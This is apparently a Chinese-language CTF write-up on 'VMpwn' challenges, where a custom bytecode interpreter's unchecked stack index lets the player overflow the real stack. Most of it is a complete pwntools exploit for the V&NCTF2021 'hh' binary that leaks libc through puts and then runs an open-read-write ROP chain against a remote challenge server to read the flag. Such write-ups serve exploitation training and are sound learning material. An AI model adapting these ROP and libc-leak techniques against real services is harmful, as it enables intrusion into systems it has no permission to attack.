前言
VMpwn主要是出题人自己实现了一个类似虚拟机的虚拟指令读取和执行机器。一般也会有一个虚拟栈用来存储运行时的数据。在题目中,指令一般存储在bss段,虚拟栈一般是执行函数中的局部变量数组。由于执行函数中的某些命令可能没有限制stack的idx的范围,可能存在溢出影响到进程真实的栈,从而使得攻击者利用溢出来进行ROP等操作
难点在于看懂命令集,写脚本函数去实现命令集的功能,逆向等等
例题1:【V&NCTF2021】hh
保护
沙箱
ida
标准的VMpwn,读指令和执行指令,看看exec:
这里的v31是我们读入的数据,如果设置的很大就溢出了,就是通过这里来打栈溢出ROP的
ROP来自stack[v10+1000],然而也有给这里赋值的命令:
主要是这里操控命令集的脚本:
def code(in_put):
out_put=''
for i in in_put:
out_put+=p32(i)
return out_put
def stack(in_put):
out_put=''
for i in range(len(in_put)):
out_put+=code([9,in_put[i]&0xffffffff,13,i*2+2006,9,in_put[i]>>32,13,i*2+2007])
return out_put
其实也不难,一看就会,第一次会了下次遇到同样的也不难写了
然后这里的巧用jmp在设置好flag字符后跳转到执行open:
execc(code([6,4,0x67616c66,0])+stack([pop_rdi_ret,buf+8,open_64,start]))
完整exp
##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
def z():
gdb.attach(r)
def cho(num):
r.sendlineafter("you choice :",str(num))
def execc(con):
cho(1)
r.sendafter('code:',con)
cho(2)
def code(in_put):
out_put=''
for i in in_put:
out_put+=p32(i)
return out_put
def stack(in_put):
out_put=''
for i in range(len(in_put)):
out_put+=code([9,in_put[i]&0xffffffff,13,i*2+2006,9,in_put[i]>>32,13,i*2+2007])
return out_put
def exp():
global r
global libc
global elf
##r=process('./hh')
r=remote('node4.buuoj.cn',27608)
libc=ELF('./libc-2.23.so')
elf=ELF('./hh')
##set proc_func
start=0x400750
pop_rdi_ret=0x4011a3
pop_rsi_r15_ret=0x4011a1
buf=0x602060
read_plt=elf.plt['read']
put_plt=elf.plt['puts']
put_got=elf.got['puts']
##puts to leak_libc
##z()
execc(stack([pop_rdi_ret,put_got,put_plt,start]))
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts']
log.success('libcbase:'+hex(libcbase))
##set_libc_func
open_64=libcbase+0xF70F0##libc.sym['open']
##ORW
##z()
execc(code([6,4,0x67616c66,0])+stack([pop_rdi_ret,buf+8,open_64,start]))
execc(stack([pop_rdi_ret,3,pop_rsi_r15_ret,buf+0x800,0,read_plt,start]))
execc(stack([pop_rdi_ret,buf+0x800,put_plt,start]))
##print('test:'+hex(libc.sym['open']))
r.interactive()
if __name__ == '__main__':
exp()